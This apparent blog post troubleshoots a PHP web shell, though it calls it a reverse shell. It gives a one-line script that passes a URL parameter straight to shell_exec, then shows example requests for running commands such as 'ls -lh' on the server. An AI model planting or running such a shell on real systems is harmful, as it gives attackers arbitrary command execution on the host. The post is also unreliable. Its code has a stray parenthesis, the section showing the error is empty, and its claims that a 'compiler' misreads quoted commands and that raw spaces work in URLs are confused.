PHP reverse shell

The problem of PHP reverse shell

In this blog, we will solve the issues one faces while doing the PHP reverse shell. One problem can be while solving the simple reverse shell with the help of the following code one can face some issues. The code is as follows:

 

 

$res = shell_exec($_GET['cmd']));

var_dump($res);

 

One can observe that while running the commands using spacing one can get errors. The command using spacing appears as follows:

 

 

shell.php?cmd="ls"

works
shell.php?cmd="ls -lh" not working

shell.php?cmd="ls%20-lh" not working 

 

 

To check the error that comes while running this code one can search through the error.log in their respective systems. To navigate to this one need to go to the HTTPd server option in their machine. The error appears as follows:

 

 

 

Solution

In order to solve these types of errors, one should first check the syntax of the code that you are running. Most of the time this error occurs due to a mistake in the syntax of the code or because of the updating of the version of that software or language that leads to the destruction of that function. 

In this case, the error is the wrong syntax as there is no need for the quotation marks in the above code. Due to the addition of quotation marks the compiler is considering that command as a string instead of a function. The code after the removal of quotation marks appears as follows:

 

 

shell.php?cmd=ls -lh

 

 

Also Read: AlphaFold : Accurate protein structure prediction

 

Share this post

Leave a Reply

Your email address will not be published. Required fields are marked *